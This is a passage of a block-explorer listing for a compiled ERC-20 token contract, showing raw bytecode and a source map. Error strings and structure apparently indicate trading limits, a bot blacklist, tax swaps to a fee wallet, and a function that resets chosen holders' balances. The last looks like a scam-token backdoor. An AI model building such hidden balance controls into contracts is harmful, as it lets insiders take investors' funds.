216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f6104c1848484610be0565b610512843361050d85604051806060016040528060288152602001611947602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611165565b610abd565b5060019392505050565b5f546001600160a01b031633146105455760405162461bcd60e51b815260040161045a906117e9565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561057c573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105a85760405162461bcd60e51b815260040161045a906117e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106195760405162461bcd60e51b815260040161045a906117e9565b6015805460ff60b81b191690556106326009600a6117c4565b61064090633b9aca006117d2565b600f5561064f6009600a6117c4565b61065d90633b9aca006117d2565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6009600a6117c4565b61069b90633b9aca006117d2565b60405190815260200160405180910390a1565b5f5b815181101561074d5760145482516001600160a01b03909116908390839081106106dc576106dc61181e565b60200260200101516001600160a01b0316036106f6575050565b6107026009600a6117c4565b61070d9060646117d2565b60015f8484815181106107225761072261181e565b6020908102919091018101516001600160a01b031682528101919091526040015f20556001016106b0565b5050565b5f61075d338484610be0565b50600192915050565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260040161045a906117e9565b601554600160a01b900460ff16156107e95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108329030906108246009600a6117c4565b61050d90633b9aca006117d2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a69190611832565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610905573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109299190611832565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610973573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109979190611832565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109de816001600160a01b03165f9081526001602052604090205490565b5f806109f15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a57573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a7c919061184d565b50506014546015805460ff60a01b19600162ff000160a01b03199091166001600160a01b0390931692909217600160b01b1791909116600160a01b17905550565b6001600160a01b038316610b1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610b805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610ca65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b5f8111610d075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b5f80546001600160a01b03858116911614801590610d3257505f546001600160a01b03848116911614155b15611028576001600160a01b0384165f9081526005602052604090205460ff16158015610d7757506001600160a01b0383165f9081526005602052604090205460ff16155b610d7f575f80fd5b610dab6064610da5600b54600e5411610d9a57600754610d9e565b6009545b859061119d565b90611222565b6014549091506001600160a01b038581169116148015610dd957506013546001600160a01b03848116911614155b8015610dfd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ee357600f54821115610e545760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045a565b60105482610e76856001600160a01b03165f9081526001602052604090205490565b610e809190611878565b1115610ece5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b600e8054905f610edd8361188b565b91905055505b6014546001600160a01b038481169116148015610f0957506001600160a01b0384163014155b15610f4157610f336064610da5600c54600e5411610f2957600854610d9e565b600a54859061119d565b905047610f3f47611263565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7757506014546001600160a01b038581169116145b8015610f8c5750601554600160b01b900460ff165b8015610f99575060115481115b8015610fa85750600d54600e54115b1561102657601554600160b81b900460ff161561100157436016541015610ffc57610fe6610fe184610fdc8460125461129a565b61129a565b6112ae565b478015610ff657610ff647611263565b50436016555b611026565b611014610fe184610fdc8460125461129a565b4780156110245761102447611263565b505b505b80156110a057305f90815260016020526040902054611047908261141e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110979085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c2908361147c565b6001600160a01b0385165f908152600160205260409020556111056110e7838361147c565b6001600160a01b0385165f908152600160205260409020549061141e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114e858561147c565b60405190815260200160405180910390a350505050565b5f81848411156111885760405162461bcd60e51b815260040161045a91906114e9565b505f61119484866118a3565b95945050505050565b5f825f036111ac57505f61040b565b5f6111b783856117d2565b9050826111c485836118b6565b1461121b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b5f61121b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bd565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561074d573d5f803e3d5ffd5b5f8183116112a8578261121b565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f4576112f461181e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136f9190611832565b816001815181106113825761138261181e565b6001600160a01b0392831660209182029290920101526013546113a89130911684610abd565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e09085905f908690309042906004016118d5565b5f604051808303815f87803b1580156113f7575f80fd5b505af1158015611409573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061142a8385611878565b90508381101561121b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b5f61121b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611165565b5f81836114dd5760405162461bcd60e51b815260040161045a91906114e9565b505f61119484866118b6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461057c575f80fd5b803561153d8161151e565b919050565b5f8060408385031215611553575f80fd5b823561155e8161151e565b946020939093013593505050565b5f6020828403121561157c575f80fd5b813561121b8161151e565b5f805f60608486031215611599575f80fd5b83356115a48161151e565b925060208401356115b48161151e565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115ea575f80fd5b823567ffffffffffffffff80821115611601575f80fd5b818501915085601f830112611614575f80fd5b813581811115611626576116266115c5565b8060051b604051601f19603f8301168101818110858211171561164b5761164b6115c5565b604052918252848201925083810185019188831115611668575f80fd5b938501935b8285101561168d5761167e85611532565b8452938501939285019261166d565b98975050505050505050565b5f80604083850312156116aa575f80fd5b82356116b58161151e565b915060208301356116c58161151e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561171e57815f1904821115611704576117046116d0565b8085161561171157918102915b93841c93908002906116e9565b509250929050565b5f826117345750600161040b565b8161174057505f61040b565b816001811461175657600281146117605761177c565b600191505061040b565b60ff841115611771576117716116d0565b50506001821b61040b565b5060208310610133831016604e8410600b841016171561179f575081810a61040b565b6117a983836116e4565b805f19048211156117bc576117bc6116d0565b029392505050565b5f61121b60ff841683611726565b808202811582820484141761040b5761040b6116d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611842575f80fd5b815161121b8161151e565b5f805f6060848603121561185f575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561040b5761040b6116d0565b5f6001820161189c5761189c6116d0565b5060010190565b8181038181111561040b5761040b6116d0565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119255784516001600160a01b031683529383019391830191600101611900565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220339cf444ccaf7f838bb4f959ae819c36d7968b5490816886fc03fd7f086cbcf064736f6c63430008190033

Deployed Bytecode Sourcemap

3891:8596:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5986:83;;;;;;;;;;-1:-1:-1;6056:5:0;;;;;;;;;;;;-1:-1:-1;;;6056:5:0;;;;5986:83;;;;;;;:::i;:::-;;;;;;;;6805:250;;;;;;;;;;-1:-1:-1;6805:250:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6805:250:0;1032:187:1;5001:45:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;5001:45:0;1224:177:1;6257:95:0;;;;;;;;;;;;;:::i;10378:192::-;;;;;;;;;;-1:-1:-1;10378:192:0;;;;;:::i;:::-;;:::i;:::-;;7061:314;;;;;;;;;;-1:-1:-1;7061:314:0;;;;;:::i;:::-;;:::i;4949:45::-;;;;;;;;;;;;;;;;6168:83;;;;;;;;;;-1:-1:-1;6168:83:0;;4644:1;2269:36:1;;2257:2;2242:18;6168:83:0;2127:184:1;11020:111:0;;;;;;;;;;;;;:::i;4891:51::-;;;;;;;;;;;;;;;;6358:119;;;;;;;;;;-1:-1:-1;6358:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6451:18:0;6424:7;6451:18;;;:9;:18;;;;;;;6358:119;3612:148;;;;;;;;;;;;;:::i;12291:193::-;;;;;;;;;;;;;:::i;4837:47::-;;;;;;;;;;;;;;;;3398:79;;;;;;;;;;-1:-1:-1;3436:7:0;3463:6;3398:79;;-1:-1:-1;;;;;3463:6:0;;;2714:51:1;;2702:2;2687:18;3398:79:0;2568:203:1;6075:87:0;;;;;;;;;;-1:-1:-1;6147:7:0;;;;;;;;;;;;-1:-1:-1;;;6147:7:0;;;;6075:87;;10775:239;;;;;;;;;;-1:-1:-1;10775:239:0;;;;;:::i;:::-;;:::i;6483:167::-;;;;;;;;;;-1:-1:-1;6483:167:0;;;;;:::i;:::-;;:::i;11661:624::-;;;;;;;;;;;;;:::i;6656:143::-;;;;;;;;;;-1:-1:-1;6656:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6764:18:0;;;6737:7;6764:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6656:143;6805:250;-1:-1:-1;;;;;6940:26:0;;6880:4;6940:26;;;:17;:26;;;;;;1239:10;;6940:26;;6937:45;;;-1:-1:-1;6974:8:0;;-1:-1:-1;;;;;6974:8:0;6937:45;6993:32;7002:5;7009:7;7018:6;6993:8;:32::i;:::-;7043:4;7036:11;;;6805:250;;;;;:::o;6257:95::-;6310:7;4700:13;4644:1;4700:2;:13;:::i;:::-;4687:26;;:10;:26;:::i;:::-;6330:14;;6257:95;:::o;10378:192::-;3525:6;;-1:-1:-1;;;;;3525:6:0;1239:10;3525:22;3517:67;;;;-1:-1:-1;;;3517:67:0;;;;;;;:::i;:::-;;;;;;;;;10454:9:::1;:19:::0;;-1:-1:-1;;;;;10454:19:0;;::::1;-1:-1:-1::0;;;;;;10454:19:0;;::::1;::::0;::::1;::::0;;:9:::1;10484:26:::0;;;:17:::1;:26;::::0;;;;;;;:33;;-1:-1:-1;;10484:33:0;;::::1;10454:19:::0;10484:33;;::::1;::::0;;;10528:18:::1;:27:::0;;;;;:34;;;;::::1;::::0;;::::1;::::0;;10378:192::o;7061:314::-;7159:4;7176:36;7186:6;7194:9;7205:6;7176:9;:36::i;:::-;7224:121;7233:6;1239:10;7255:89;7293:6;7255:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7255:19:0;;;;;;:11;:19;;;;;;;;1239:10;7255:33;;;;;;;;;;:37;:89::i;:::-;7224:8;:121::i;:::-;-1:-1:-1;7363:4:0;7061:314;;;;;:::o;11020:111::-;3525:6;;-1:-1:-1;;;;;3525:6:0;1239:10;3525:22;3517:67;;;;-1:-1:-1;;;3517:67:0;;;;;;;:::i;:::-;3436:7;3463:6;;11075:48:::1;::::0;-1:-1:-1;;;;;3463:6:0;;;;11101:21:::1;11075:48:::0;::::1;;;::::0;11101:21;;11075:48;3436:7;11075:48;11101:21;3463:6;11075:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11020:111::o:0;3612:148::-;3525:6;;-1:-1:-1;;;;;3525:6:0;1239:10;3525:22;3517:67;;;;-1:-1:-1;;;3517:67:0;;;;;;;:::i;:::-;3719:1:::1;3703:6:::0;;3682:40:::1;::::0;-1:-1:-1;;;;;3703:6:0;;::::1;::::0;3682:40:::1;::::0;3719:1;;3682:40:::1;3750:1;3733:19:::0;;-1:-1:-1;;;;;;3733:19:0::1;::::0;;3612:148::o;12291:193::-;3525:6;;-1:-1:-1;;;;;3525:6:0;1239:10;3525:22;3517:67;;;;-1:-1:-1;;;3517:67:0;;;;;;;:::i;:::-;12345:12:::1;:20:::0;;-1:-1:-1;;;;12345:20:0::1;::::0;;4700:13:::1;4644:1;4700:2;:13;:::i;:::-;4687:26;::::0;:10:::1;:26;:::i;:::-;12376:12;:22:::0;4700:13:::1;4644:1;4700:2;:13;:::i;:::-;4687:26;::::0;:10:::1;:26;:::i;:::-;12409:16;:24:::0;12449:27:::1;4700:13;4644:1;4700:2;:13;:::i;:::-;4687:26;::::0;:10:::1;:26;:::i;:::-;12449:27;::::0;1370:25:1;;;1358:2;1343:18;12449:27:0::1;;;;;;;12291:193::o:0;10775:239::-;10846:9;10841:166;10865:5;:12;10861:1;:16;10841:166;;;10916:13;;10904:8;;-1:-1:-1;;;;;10916:13:0;;;;10904:5;;10910:1;;10904:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10904:25:0;;10900:38;;10931:7;10775:239;:::o;10900:38::-;10980:15;4644:1;10980:2;:15;:::i;:::-;10974:21;;:3;:21;:::i;:::-;10952:9;:19;10962:5;10968:1;10962:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;10952:19:0;;;;;;;;;;;-1:-1:-1;10952:19:0;:43;10879:4;;10841:166;;;;10775:239;:::o;6483:167::-;6561:4;6578:42;1239:10;6602:9;6613:6;6578:9;:42::i;:::-;-1:-1:-1;6638:4:0;6483:167;;;;:::o;11661:624::-;3525:6;;-1:-1:-1;;;;;3525:6:0;1239:10;3525:22;3517:67;;;;-1:-1:-1;;;3517:67:0;;;;;;;:::i;:::-;11725:11:::1;::::0;-1:-1:-1;;;11725:11:0;::::1;;;11724:12;11716:47;;;::::0;-1:-1:-1;;;11716:47:0;;6804:2:1;11716:47:0::1;::::0;::::1;6786:21:1::0;6843:2;6823:18;;;6816:30;6882:25;6862:18;;;6855:53;6925:18;;11716:47:0::1;6602:347:1::0;11716:47:0::1;11774:15;:80:::0;;-1:-1:-1;;;;;;11774:80:0::1;11811:42;11774:80:::0;;::::1;::::0;;;11865:58:::1;::::0;11882:4:::1;::::0;4700:13:::1;4644:1;4700:2;:13;:::i;:::-;4687:26;::::0;:10:::1;:26;:::i;11865:58::-;11968:15;;;;;;;;;-1:-1:-1::0;;;;;11968:15:0::1;-1:-1:-1::0;;;;;11968:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11950:55:0::1;;12014:4;12021:15;;;;;;;;;-1:-1:-1::0;;;;;12021:15:0::1;-1:-1:-1::0;;;;;12021:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11950:94;::::0;-1:-1:-1;;;;;;11950:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7440:15:1;;;11950:94:0::1;::::0;::::1;7422:34:1::0;7492:15;;7472:18;;;7465:43;7357:18;;11950:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11934:13;:110:::0;;-1:-1:-1;;;;;11934:110:0;;::::1;-1:-1:-1::0;;;;;;11934:110:0;;::::1;;::::0;;12055:15:::1;::::0;::::1;:31;12094:21;12125:4;12131:24;12125:4:::0;-1:-1:-1;;;;;6451:18:0;6424:7;6451:18;;;:9;:18;;;;;;;6358:119;12131:24:::1;12156:1;12158::::0;12160:7:::1;3436::::0;3463:6;-1:-1:-1;;;;;3463:6:0;;3398:79;12160:7:::1;12055:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12055:129:0;;;-1:-1:-1;;;;;7878:15:1;;;12055:129:0::1;::::0;::::1;7860:34:1::0;7910:18;;;7903:34;;;;7953:18;;;7946:34;;;;7996:18;;;7989:34;8060:15;;;8039:19;;;8032:44;12168:15:0::1;8092:19:1::0;;;8085:35;7794:19;;12055:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12206:13:0::1;::::0;12195:8:::1;:24:::0;;-1:-1:-1;;;;;;;;;;12230:18:0;;;-1:-1:-1;;;;;12206:13:0;;::::1;12230:18:::0;;;;-1:-1:-1;;;12230:18:0::1;12259::::0;;;::::1;-1:-1:-1::0;;;12259:18:0::1;::::0;;-1:-1:-1;11661:624:0:o;7381:335::-;-1:-1:-1;;;;;7474:19:0;;7466:68;;;;-1:-1:-1;;;7466:68:0;;8644:2:1;7466:68:0;;;8626:21:1;8683:2;8663:18;;;8656:30;8722:34;8702:18;;;8695:62;-1:-1:-1;;;8773:18:1;;;8766:34;8817:19;;7466:68:0;8442:400:1;7466:68:0;-1:-1:-1;;;;;7553:21:0;;7545:68;;;;-1:-1:-1;;;7545:68:0;;9049:2:1;7545:68:0;;;9031:21:1;9088:2;9068:18;;;9061:30;9127:34;9107:18;;;9100:62;-1:-1:-1;;;9178:18:1;;;9171:32;9220:19;;7545:68:0;8847:398:1;7545:68:0;-1:-1:-1;;;;;7624:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7676:32;;1370:25:1;;;7676:32:0;;1343:18:1;7676:32:0;;;;;;;7381:335;;;:::o;7722:2650::-;-1:-1:-1;;;;;7810:18:0;;7802:68;;;;-1:-1:-1;;;7802:68:0;;9452:2:1;7802:68:0;;;9434:21:1;9491:2;9471:18;;;9464:30;9530:34;9510:18;;;9503:62;-1:-1:-1;;;9581:18:1;;;9574:35;9626:19;;7802:68:0;9250:401:1;7802:68:0;-1:-1:-1;;;;;7889:16:0;;7881:64;;;;-1:-1:-1;;;7881:64:0;;9858:2:1;7881:64:0;;;9840:21:1;9897:2;9877:18;;;9870:30;9936:34;9916:18;;;9909:62;-1:-1:-1;;;9987:18:1;;;9980:33;10030:19;;7881:64:0;9656:399:1;7881:64:0;7973:1;7964:6;:10;7956:64;;;;-1:-1:-1;;;7956:64:0;;10262:2:1;7956:64:0;;;10244:21:1;10301:2;10281:18;;;10274:30;10340:34;10320:18;;;10313:62;-1:-1:-1;;;10391:18:1;;;10384:39;10440:19;;7956:64:0;10060:405:1;7956:64:0;8031:18;3463:6;;-1:-1:-1;;;;;8066:15:0;;;3463:6;;8066:15;;;;:32;;-1:-1:-1;3436:7:0;3463:6;-1:-1:-1;;;;;8085:13:0;;;3463:6;;8085:13;;8066:32;8062:1950;;;-1:-1:-1;;;;;8124:11:0;;;;;;:5;:11;;;;;;;;8123:12;:26;;;;-1:-1:-1;;;;;;8140:9:0;;;;;;:5;:9;;;;;;;;8139:10;8123:26;8115:35;;;;;;8178:73;8247:3;8178:64;8200:12;;8190:9;;:22;8189:52;;8227:14;;8189:52;;;8214:12;;8189:52;8178:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8278:13;;8165:86;;-1:-1:-1;;;;;;8270:21:0;;;8278:13;;8270:21;:55;;;;-1:-1:-1;8309:15:0;;-1:-1:-1;;;;;8295:30:0;;;8309:15;;8295:30;;8270:55;:83;;;;-1:-1:-1;;;;;;8331:22:0;;;;;;:18;:22;;;;;;;;8329:24;8270:83;8266:315;;;8393:12;;8383:6;:22;;8375:60;;;;-1:-1:-1;;;8375:60:0;;10672:2:1;8375:60:0;;;10654:21:1;10711:2;10691:18;;;10684:30;10750:27;10730:18;;;10723:55;10795:18;;8375:60:0;10470:349:1;8375:60:0;8488:16;;8478:6;8462:13;8472:2;-1:-1:-1;;;;;6451:18:0;6424:7;6451:18;;;:9;:18;;;;;;;6358:119;8462:13;:22;;;;:::i;:::-;:42;;8454:81;;;;-1:-1:-1;;;8454:81:0;;11156:2:1;8454:81:0;;;11138:21:1;11195:2;11175:18;;;11168:30;11234:28;11214:18;;;11207:56;11280:18;;8454:81:0;10954:350:1;8454:81:0;8554:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8266:315;8604:13;;-1:-1:-1;;;;;8598:19:0;;;8604:13;;8598:19;:43;;;;-1:-1:-1;;;;;;8621:20:0;;8636:4;8621:20;;8598:43;8595:363;;;8675:76;8747:3;8675:67;8697:13;;8687:9;;:23;8686:55;;8726:15;;8686:55;;;8712:13;;8675:6;;:10;:67::i;:76::-;8662:89;-1:-1:-1;8799:21:0;8890:33;8901:21;8890:10;:33::i;:::-;8643:315;8595:363;9021:4;8972:28;6451:18;;;:9;:18;;;;;;9047:6;;-1:-1:-1;;;9047:6:0;;;;9046:7;:32;;;;-1:-1:-1;9065:13:0;;-1:-1:-1;;;;;9057:21:0;;;9065:13;;9057:21;9046:32;:47;;;;-1:-1:-1;9082:11:0;;-1:-1:-1;;;9082:11:0;;;;9046:47;:83;;;;;9118:11;;9097:20;:32;9046:83;:110;;;;;9143:13;;9133:9;;:23;9046:110;9042:959;;;9181:12;;-1:-1:-1;;;9181:12:0;;;;9177:809;;;9237:12;9222;;:27;9218:427;;;9278:67;9295:49;9299:6;9306:37;9310:20;9331:11;;9306:3;:37::i;:::-;9295:3;:49::i;:::-;9278:16;:67::i;:::-;9401:21;9452:22;;9449:119;;9507:33;9518:21;9507:10;:33::i;:::-;-1:-1:-1;9609:12:0;9594;:27;9218:427;9177:809;;;9693:67;9710:49;9714:6;9721:37;9725:20;9746:11;;9721:3;:37::i;9693:67::-;9812:21;9859:22;;9856:111;;9910:33;9921:21;9910:10;:33::i;:::-;9670:316;9177:809;8100:1912;8062:1950;10025:12;;10022:165;;10094:4;10076:24;;;;:9;:24;;;;;;:40;;10105:10;10076:28;:40::i;:::-;10069:4;10051:24;;;;:9;:24;;;;;;;:65;;;;10134:41;;-1:-1:-1;;;;;10134:41:0;;;;;;;10164:10;1370:25:1;;1358:2;1343:18;;1224:177;10134:41:0;;;;;;;;10022:165;-1:-1:-1;;;;;10213:15:0;;;;;;:9;:15;;;;;;:27;;10233:6;10213:19;:27::i;:::-;-1:-1:-1;;;;;10197:15:0;;;;;;:9;:15;;;;;:43;10265:41;10283:22;:6;10294:10;10283;:22::i;:::-;-1:-1:-1;;;;;10265:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;10251:13:0;;;;;;;:9;:13;;;;;:55;;;;10322:42;;;10341:22;:6;10352:10;10341;:22::i;:::-;10322:42;;1370:25:1;;;1358:2;1343:18;10322:42:0;;;;;;;7791:2581;7722:2650;;;:::o;1617:190::-;1703:7;1739:12;1731:6;;;;1723:29;;;;-1:-1:-1;;;1723:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1763:9:0;1775:5;1779:1;1775;:5;:::i;:::-;1763:17;1617:190;-1:-1:-1;;;;;1617:190:0:o;1815:246::-;1873:7;1897:1;1902;1897:6;1893:47;;-1:-1:-1;1927:1:0;1920:8;;1893:47;1950:9;1962:5;1966:1;1962;:5;:::i;:::-;1950:17;-1:-1:-1;1995:1:0;1986:5;1990:1;1950:17;1986:5;:::i;:::-;:10;1978:56;;;;-1:-1:-1;;;1978:56:0;;12006:2:1;1978:56:0;;;11988:21:1;12045:2;12025:18;;;12018:30;12084:34;12064:18;;;12057:62;-1:-1:-1;;;12135:18:1;;;12128:31;12176:19;;1978:56:0;11804:397:1;1978:56:0;2052:1;1815:246;-1:-1:-1;;;1815:246:0:o;2069:132::-;2127:7;2154:39;2158:1;2161;2154:39;;;;;;;;;;;;;;;;;:3;:39::i;10576:89::-;10631:9;;:26;;-1:-1:-1;;;;;10631:9:0;;;;:26;;;;;10650:6;;10631:9;:26;:9;:26;10650:6;10631:9;:26;;;;;;;;;;;;;;;;;;;10671:98;10728:7;10755:1;10753;:3;10752:9;;10760:1;10752:9;;;-1:-1:-1;10758:1:0;10671:98;-1:-1:-1;10671:98:0:o;11172:483::-;5433:6;:13;;-1:-1:-1;;;;5433:13:0;-1:-1:-1;;;5433:13:0;;;11274:16:::1;::::0;;11288:1:::1;11274:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11274:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11274:16:0::1;11250:40;;11319:4;11301;11306:1;11301:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11301:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11345:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11345:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11301:7;;11345:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11335:4;11340:1;11335:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11335:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11410:15:::1;::::0;11378:62:::1;::::0;11395:4:::1;::::0;11410:15:::1;11428:11:::0;11378:8:::1;:62::i;:::-;11451:15;::::0;:196:::1;::::0;-1:-1:-1;;;11451:196:0;;-1:-1:-1;;;;;11451:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11532:11;;11451:15:::1;::::0;11574:4;;11601::::1;::::0;11621:15:::1;::::0;11451:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5469:6:0;:14;;-1:-1:-1;;;;5469:14:0;;;-1:-1:-1;;;;11172:483:0:o;1286:179::-;1344:7;;1376:5;1380:1;1376;:5;:::i;:::-;1364:17;;1405:1;1400;:6;;1392:46;;;;-1:-1:-1;;;1392:46:0;;13393:2:1;1392:46:0;;;13375:21:1;13432:2;13412:18;;;13405:30;13471:29;13451:18;;;13444:57;13518:18;;1392:46:0;13191:351:1;1473:136:0;1531:7;1558:43;1562:1;1565;1558:43;;;;;;;;;;;;;;;;;:3;:43::i;2209:189::-;2295:7;2330:12;2323:5;2315:28;;;;-1:-1:-1;;;2315:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2354:9:0;2366:5;2370:1;2366;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:255::-;1473:6;1526:2;1514:9;1505:7;1501:23;1497:32;1494:52;;;1542:1;1539;1532:12;1494:52;1581:9;1568:23;1600:31;1625:5;1600:31;:::i;1666:456::-;1743:6;1751;1759;1812:2;1800:9;1791:7;1787:23;1783:32;1780:52;;;1828:1;1825;1818:12;1780:52;1867:9;1854:23;1886:31;1911:5;1886:31;:::i;:::-;1936:5;-1:-1:-1;1993:2:1;1978:18;;1965:32;